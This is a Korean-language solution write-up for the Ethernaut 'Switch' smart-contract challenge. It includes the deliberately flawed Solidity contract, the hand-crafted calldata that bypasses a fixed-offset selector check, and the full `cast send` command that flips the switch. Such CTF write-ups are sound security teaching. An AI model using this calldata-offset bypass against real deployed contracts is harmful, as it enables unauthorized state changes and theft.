// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Switch {
bool public switchOn; // switch is off
bytes4 public offSelector = bytes4(keccak256("turnSwitchOff()"));
modifier onlyThis() {
require(msg.sender == address(this), "Only the contract can call this");
_;
}
modifier onlyOff() {
// we use a complex data type to put in memory
bytes32[1] memory selector;
// check that the calldata at position 68 (location of _data)
assembly {
calldatacopy(selector, 68, 4) // grab function selector from calldata
}
require(
selector[0] == offSelector,
"Can only call the turnOffSwitch function"
);
_;
}
function flipSwitch(bytes memory _data) public onlyOff {
(bool success, ) = address(this).call(_data);
require(success, "call failed :(");
}
function turnSwitchOn() public onlyThis {
switchOn = true;
}
function turnSwitchOff() public onlyThis {
switchOn = false;
}
}
오랜만에 Ethernaut을 들어가보니 새로운 문제가 나와 후딱 풀고 풀이를 작성한다.
이 문제는 switchOn
state를 true
로 만들면 풀리는 문제이다.
turnSwitchOn
, turnSwitchOff
2개의 함수가 switchOn
state를 변경할 수 있고, 실행 조건은 Switch
컨트랙트 즉, 자기 자신만 호출할 수 있다.
turnSwitchOn
, turnSwitchOff
함수를 핸들할 수 있는 함수는 flipSwitch
함수이고 인자는 bytes
인 것을 확인할 수 있다.
flipSwitch
함수에서 자기 자신의 call을 하는데 인자로 받은 _data
를 호출한다. _data
는 당연하게도 시그니처가 와야할 것이다.
마지막 조건이 하나 존재하는데 onlyOff
를 확인해보면 calldata
검증 로직이 존재하고 turnSwitchOff
시그니처만 통과할 수 있는 것 처럼 보인다.
알았다. 이 문제는 동적 타입의 calldata를 어떻게 encode/decode 하는지를 묻는 문제이다.
flipSwitch
에 turnSwitchOff
를 호출하는 msg.data
는 다음과 같을 것이다.
0x30c13ade // offset 0x00
0000000000000000000000000000000000000000000000000000000000000020 // offset 0x04
0000000000000000000000000000000000000000000000000000000000000004 // offset 0x24
20606e1500000000000000000000000000000000000000000000000000000000 // offset 0x44
onlyOff
에서 calldatacopy(selector, 68, 4)
는 0x44 offset에서 4byte 만큼 memory로 복사해오는 것을 알 수 있다.
따라서 문제를 해결하기 위해서는 0x44 offset에는 turnSwitchOff
함수의 시그니처를 고정으로 넣어주고 address(this).call(_data)
에 _data
가 turnSwitchOn
함수의 시그니처가 되도록 calldata를 만들어주면 풀리게될 것이다.
0x30c13ade // offset 0x00
0000000000000000000000000000000000000000000000000000000000000060 // offset 0x04
0000000000000000000000000000000000000000000000000000000000000000 // offset 0x24
20606e1500000000000000000000000000000000000000000000000000000000 // offset 0x44
0000000000000000000000000000000000000000000000000000000000000004 // offset 0x64
76227e1200000000000000000000000000000000000000000000000000000000 // offset 0x84
위와 같이 우회하는 calldata를 만들었고 해석하면 0x4 + 0x60 offset을 가르키고, 0x64에서는 4byte 만큼 읽어온다는 의미기 때문에 turnSwitchOn
함수의 시그니처가 _data
로 decode 될 것이다.
cast send --rpc-url $RPC_URL --private-key $P_KEY $target_addr 0x30c13ade0000000000000000000000000000000000000000000000000000000000000060000000000000000000000000000000000000000000000000000000000000000020606e1500000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000476227e1200000000000000000000000000000000000000000000000000000000
정상적으로 turnSwitchOn
이 실행되는 것을 확인할 수 있었다.
이 문제는 동적 타입의 calldata를 검증할 때 고정된 offset의 값을 검증하는 것은 우회가 가능하여 취약하다는 것을 알려준다.